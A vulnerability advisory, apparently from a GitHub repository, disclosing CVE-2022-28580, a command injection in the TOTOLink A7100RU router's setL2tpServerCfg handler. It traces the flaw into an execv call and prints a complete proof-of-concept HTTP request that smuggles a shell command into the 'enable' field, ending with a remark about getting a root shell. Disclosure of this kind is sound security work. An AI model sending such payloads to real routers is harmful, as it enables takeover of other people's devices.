Headline
CVE-2022-28580: IOT_vuln/TOTOLink/A7100RU/5 at main · EPhaha/IOT_vuln
It is found that there is a command injection vulnerability in the setL2tpServerCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.
TOTOlink A7100RU Command injection vulnerability****Overview
- Manufacturer’s website information：http://totolink.net/
- Firmware download address ： http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html
1. Affected version
Figure 1 shows the latest firmware Ba of the router
2.Vulnerability details
The program passes the content obtained by the enable parameter to the V2 parameter, and then brings V2 into UCI_ Set_ In str function
Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function
The function directly brings user input into the execv function, which has a command injection vulnerability
3.Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Use the fat simulation firmware V7.4cu.2313_B20191024
Attack with the following overflow POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Content-Length: 79 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Content-Type: application/x-www-form-urencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SESSION_ID=2:1647872744:2 Connection: close
{"topicurl":"setting/setL2tpServerCfg", "enable":"1$(ls>/tmp/123;)"}
The reproduction results are as follows:
Figure 2 POC attack effect
Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell
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